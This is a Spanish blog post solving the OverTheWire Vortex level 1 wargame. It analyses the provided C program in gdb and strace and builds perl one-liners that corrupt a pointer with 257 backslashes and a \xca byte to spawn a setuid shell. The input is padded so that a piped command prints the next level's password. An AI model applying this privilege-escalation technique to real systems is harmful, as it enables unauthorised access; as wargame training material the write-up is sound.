jueves, 28 de febrero de 2013

Solución al reto overthewire vortex level 1

Vamos hoy con el reto the overthewire vortex nivel 1. Sigue siendo principalmente un reto de reversing y de comprensión de sistemas (GNU/Linux concretamente).

El enunciado:
Canary Values
We are looking for a specific value in ptr. You may need to consider how bash handles EOF..
Reading Material
Smashing the Stack for Fun and Profit
Code listing (vortex1.c)
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) {
                    setresuid(geteuid(), geteuid(), geteuid());
                    execlp("/bin/sh", "sh", "-i", NULL); 
                }

void print(unsigned char *buf, int len)
{
        int i;

        printf("[ ");
        for(i=0; i < len; i++) printf("%x ", buf[i]); 
        printf(" ]\n");
}

int main()
{
        unsigned char buf[512];
        unsigned char *ptr = buf + (sizeof(buf)/2);
        unsigned int x;

        while((x = getchar()) != EOF) {
                switch(x) {
                        case '\n': 
                          print(buf, sizeof(buf)); 
                           continue; 
                           break;
                        case '\\': 
                           ptr--; 
                           break; 
                        default: 
                           e(); 
                           if(ptr > buf + sizeof(buf)) 
                               continue; 
                           ptr++[0] = x; 
                           break;
                }
        }
        printf("All done\n");
}
Aunque que se vea un poco mal he decidido indentar un poco el código para que se pueda analizar mejor (por cierto, el break en el case '\n' no hace falta y tampoco el del default).

El código hace lo siguiente:
  • Crear un buffer de 512 bytes (buf).
  • Poner el puntero ptr apuntando en medio del buffer (buf[256] concretamente).
  • Empezar a leer caracteres de la entrada estandar y según qué caracter sea hacer una de estas 3 acciones:
    • Si es un salto de línea imprime el buffer.
    • Si es una contrabarra '\' decrementa ptr.
    • En otro caso realiza las siguientes acciones:
      • Comprueba si el byte mas significativo de ptr es \xca y en tal caso ejecuta una shell (esto lo hace la macro e).
      • Comprueba si ptr apunta más allá de la zona de memoria de buf, en cuyo caso no se hace nada más y se continua con la lectura de caracteres.
      • Se pone el byte leído en donde apunta ptr y se lo incrementa para apuntar al siguiente byte.
Aclaración, la llamada a setreuid() que se ve es típica en programas de wargames que tienen el SUID activo, es necesaria hacerla antes de invocar la shell para que ésta tenga los permisos del dueño del programa y no del que ejecuta el programa.

Bueno, modificar la dirección de retorno de main() para que salte a la zona de código que contiene el spawneo de la shell lo descartamos porque el código comprueba si ptr si se apunta más alla de buf (y más allá de buf tenemos la dirección de retorno como sabemos... que no sabemos?! goto here;).

Lo que vamos a hacer es que ptr contenga en su byte más significativo el valor \xca y así conseguiremos ejecutar la shell. Primero nos conectamos al server con el usuario y contraseña conseguidos en el nivel anterior. Después de buscar un poco veremos que en /etc/vortex_pass/ hay una serie de ficheros donde presumiblemente estarán las contraseñas de cada nivel. En /vortex/ por otro lado tenemos los binarios y como era de esperar tienen los SUID activos, los dueños son el usuario del siguiente nivel y bla bla bla. Típica configuración de wargame.

$ ls -l /vortex/vortex1
-r-sr-x--- 1 vortex2 vortex1 7354 2012-11-20 17:02 /vortex/vortex1


Aquí tenemos nuestro binario. Ahora nos toca ponernos manos a la masa. Lo primero que vamos a hacer es ver dónde andan en memoria cada una de las variables que usa el programa. It's gdb time!:

$ gdb -q /vortex/vortex1
Reading symbols from /vortex/vortex1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048557 <+0>:     push   %ebp
   0x08048558 <+1>:     mov    %esp,%ebp
   0x0804855a <+3>:     and    $0xfffffff0,%esp
   0x0804855d <+6>:     push   %esi
   0x0804855e <+7>:     push   %ebx
   0x0804855f <+8>:     sub    $0x228,%esp
   0x08048565 <+14>:    mov    %gs:0x14,%eax
   0x0804856b <+20>:    mov    %eax,0x21c(%esp)
   0x08048572 <+27>:    xor    %eax,%eax
   0x08048574 <+29>:    lea    0x1c(%esp),%eax
   0x08048578 <+33>:    add    $0x100,%eax
   0x0804857d <+38>:    mov    %eax,0x18(%esp)
   0x08048581 <+42>:    jmp    0x8048625 <main+206>
   0x08048586 <+47>:    mov    0x14(%esp),%eax
   0x0804858a <+51>:    cmp    $0xa,%eax
   0x0804858d <+54>:    je     0x8048596 <main+63>
   0x0804858f <+56>:    cmp    $0x5c,%eax

      ...

He quitado un buen trozo de código porque ahora mismo no nos interesa. De ahí podemos sacar la información que buscamos. Yo en concreto me he centrado en saber si ptr está antes o después de buf. Se puede pensar que como está declarado después pues entonces estará "después" en memoria (esto en x86 significa en posiciones de memoria más bajas). El comportamiento normal es así pero entre ese código y ese binario hay todo un proceso de compilación por medio que puede haber hecho infinitas barbaridades (optimización y tal) así que lo correcto es no suponerlo y comprobarlo.

Como se puede ver he marcado con distintos colores 3 accesos a memoria, a saber:
  • Lo rojo, 0x1c(%esp) es el comienzo de buf, de ahí a 511 bytes más abajo es todo el espacio de buf.
  • Lo verde, 0x18(%esp) es ptr. Nótese como se inicializa a buf (ojo al lea, Load Effective Address) más 0x100 = 256 = sizeof(buf)/2.
  • Lo azul, 0x14(%esp) es x.
Ahora ya sabemos que buf está "debajo" de ptr (yo imagino el espacio de memoria de los procesos de esta manera, lo siento si te confunde, mi consejo es que tengas papel al lado y lo pintes). Aún así vamos a ver la memoria y pintarla un poco que siempre ayuda.

(gdb) br *main+42
Breakpoint 1 at 0x8048581
(gdb) r
Starting program: /vortex/vortex1

Breakpoint 1, 0x08048581 in main ()
(gdb) x/20wx $esp
0xffffd520:     0xf7fe05e6      0xf7ff5051      0x00000000      0x00000000
0xffffd530:     0xf7ffd53c      0x00000000      0xffffd63c      0xf7fdee10
0xffffd540:     0xf7ffcff4      0x00000010      0x00000000      0x00000000
0xffffd550:     0xffffd654      0x00000008      0xf7ffd53c      0xf7fe05c9
0xffffd560:     0xf7fd7000      0xf7ff51b8      0x00000070      0xf7ffcff4


Se ve más claro ahora, ¿no?. Pues bien, lo que vamos a hacer es empezar a darle contrabarras al programa hasta que ptr apunte al byte que he pintado de violeta (uno de sus propios bytes). ¿Cuántas contrabarras hacen falta?. 0xffffd63c - 0xffffd53b = 257. Pues ahí está, con 257 contrabarras ptr apuntará a su byte más significativo, lo siguiente que le daremos será el byte \xca para que lo ponga en la posición que queremos. Finalmente le daremos algún byte más distinto de salto de línea y de la contrabarra, de forma que se ejecute e().

(gdb) quit
A debugging session is active.

        Inferior 1 [process 23961] will be killed.

Quit anyway? (y or n) y
vortex1@melissa:/vortex$ perl -e 'print "\\"x257 . "\xca1"' > /tmp/ole
vortex1@melissa:/vortex$ gdb -q /vortex/vortex1

Reading symbols from /vortex/vortex1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x080485e6 <+143>:   movl   $0x0,0x8(%esp)
   0x080485ee <+151>:   movl   $0x804873a,0x4(%esp)
   0x080485f6 <+159>:   movl   $0x804873d,(%esp)
   0x080485fd <+166>:   call   0x8048400 <execlp@plt>
   0x08048602 <+171>:   lea    0x1c(%esp),%eax
   0x08048606 <+175>:   add    $0x200,%eax
   0x0804860b <+180>:   cmp    0x18(%esp),%eax
   ...
(gdb) br *main+166
Breakpoint 1 at 0x80485fd
(gdb) r < /tmp/ole
Starting program: /vortex/vortex1 < /tmp/ole

Breakpoint 1, 0x080485fd in main ()
(gdb) x/20xw $esp
0xffffd520:     0x0804873d      0x0804873a      0x00000000      0x00000000
0xffffd530:     0xf7ffd53c      0x00000031      0xcaffd53c      0xf7fdee10
0xffffd540:     0xf7ffcff4      0x00000010      0x00000000      0x00000000
0xffffd550:     0xffffd654      0x00000008      0xf7ffd53c      0xf7fe05c9
0xffffd560:     0xf7fd7000      0xf7ff51b8      0x00000070      0xf7ffcff4


Lo primero a comentar es que para pasarle los bytes al programa he decidido meterlos todos en un fichero (/tmp/ole) usando perl. Podemos ver que hay 257 contrabarras, luego el byte \xca y un byte más, en este caso un uno. Para verlo un poco más in situ lo vamos a ejecutar depurando. Hemos puesto un breakpoint justo en donde se ejecuta la shell (la llamda a execlp()), si todo funciona correctamente debería llegar a ahí. Más adelante vemos que llega y aprovechamos para ver la memoria y confirmar lo que pensabamos. Vemos que el byte más significativo de ptr es \xca y por lo tanto se va a ejecutar la shell. Continuamos.

(gdb) cont
Continuing.
process 27279 is executing new program: /proc/27279/exe
/proc/27279/exe: Permission denied.


¿Qué está pasando aquí?. Como que se intenta ejecutar la shell pero no puede por permisos... cosas raras, probemos desde fuera de gdb.

$ ./vortex1 < /tmp/ole
$

Ahora no tenemos ningún error pero no nos está saltando la shell, ¿por qué?. Bueno, lo cierto es que sí está siendo ejecutada pero automáticamente termina. Este comportamiento es debido a que al ejecutarla la entrada estandar está vacía (el último caracter fué '1'), las shells cuando encuentran EOF en la entrada terminan (es el comportamiento por defecto). Lo lógico sería entonces seguirle dándole entrada...

$ perl -e 'print "\\"x257 . "\xca1" . "cat /etc/vortex_pass/vortex2\n"' | ./vortex1
$

La idea es que a la shell le llegué el comando y nos muestre la contraseña del usuario vortex2, pero algo está pasando y no se está ejecutando. Veamos que ocurre.

$ strace -e trace=desc,process ./vortex1 < /tmp/ole
execve("./vortex1", ["./vortex1"], [/* 20 vars */]) = 0
[ Process PID=7298 runs in 32 bit mode. ]
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=21369, ...}) = 0
close(3)                                = 0
open("/lib32/libc.so.6", O_RDONLY)      = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220o\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1446468, ...}) = 0
close(3)                                = 0
fstat64(0, {st_mode=S_IFREG|0644, st_size=288, ...}) = 0
read(0, "\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"..., 4096) = 288
execve("/bin/sh", ["sh"], [/* 30 vars */]) = 0
[ Process PID=7298 runs in 64 bit mode. ]
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=21369, ...}) = 0
close(3)                                = 0
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\360\1\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1654504, ...}) = 0
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7ffff7ff0720) = 0
ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fffffffe480) = -1 ENOTTY (Inappropriate ioctl for device)
read(0, "", 8192)                       = 0
exit_group(0)


Strace (system call trace) captura todas las funciones que realizan una llamada al sistema y nos informa de ellas. En este caso concreto he restringido sólo a aquellas llamadas que usen descriptores de ficheros o que sean de manejo de procesos (voy a mostrar los reads y el exec).

En negrita he marcado lo más interesante, a parte del comando en sí mismo, el read que pilla la entrada que le damos. Aquí nos debe llamar la atención que, a pesar de que el programa está ejecutando muchas veces la funcion getchar(), sólo vemos una única llamada a read(). Getchar() no es más que una de tantas funciones de la libc que acaba internamente llamando a la función read(), que es la que realmente hace la llamada al sistema. Ese es el motivo de por qué no está funcionando nuestra técnica. Con el tema del buffering que realiza read(), automáticamente está cogiendo las 257 contrabarras, el byte \xca, el 1 y todo el comando que le pasamos. Según el programa vaya ejecutando getchar() la libc le irá dando los bytes que ya había cogido previamente. El problema se da junto con el comportamiento de execve(), extraigo el siguiente texto directamente del manual de execve:

All process attributes are preserved during an execve(), except the following:
...
*      Memory mappings are not preserved (mmap(2)).
...

Esto quiere decir que cuando se ejecuta execve() todas las cosas que tenía mapeadas en memoria el proceso desaparecen y así es precisamente cómo funciona la carga de bibliotecas en el espacio de memoria de un proceso, mediante el mapeo de las mismas. Es la libc la que tiene el buffer donde read() puso todos los bytes leídos (exploit y payload) así que durante execve() esa zona es desechada y por eso la shell cuando intenta leer otra vez (el último read que está marcado) no encuentra nada en la entrada estandar.

¿Workaround para esto? Muy fácil, metamos 4096 bytes antes de meter el comando, de esta forma el primer read() no cogerá el comando, se ejecutará el execve() y el segundo read() encontrará el comando.

$ perl -e 'print "\\"x257 . "\xca" . "1"x3838 . "cat /etc/vortex_pass/vortex2\n"' > /tmp/ole
$ ./vortex1 < /tmp/ole
23anbT\rE


Y efectivamente ahora sí se nos muestra el contenido de /etc/vortex_pass/vortex2 :).

Hay otra forma de hacerlo, bash tiene una variable de entorno llamada IGNOREEOF que establece la cantidad de EOF que tiene que encontrar en su entrada estandar antes de finalizar. Se puede leer más sobre ella en el manual. Sin embargo hay un problema, el programa está ejecutando /bin/sh:

$ file /bin/sh
/bin/sh: symbolic link to `dash'


Así que la pista que nos daban al principio (you may need to consider how bash handles EOF) no está muy acertada xD. Si leemos el man de dash veremos que considera esa variable de entorno, aunque sin embargo tiene una opción interesante.

-I ignoreeof     Ignore EOF's from input when interactive.

Pero esto es un parámetro que hay que pasarle a execve(). Durante medio segundo pensé en probar pasarle un porrón de contrabarras hasta llegar a la zona de memoria donde se encuentran los parámetros de execve():

$ objdump -j .rodata -s vortex1

vortex1:     file format elf32-i386

Contents of section .rodata:
 8048728 03000000 01000200 5b200025 78200020  ........[ .%x .
 8048738 5d007368 002f6269 6e2f7368 00416c6c  ].sh./bin/sh.All
 8048748 20646f6e 6500                         done.


Y una vez ahí modificar la memoria y poner el "-I" :D, pero luego recordé que esto es la zona .rodata y lo de .ro es por algo xD (read-only) así que lo que conseguiría es un bonito SIGSEGV.

Saludos.

No hay comentarios:

Publicar un comentario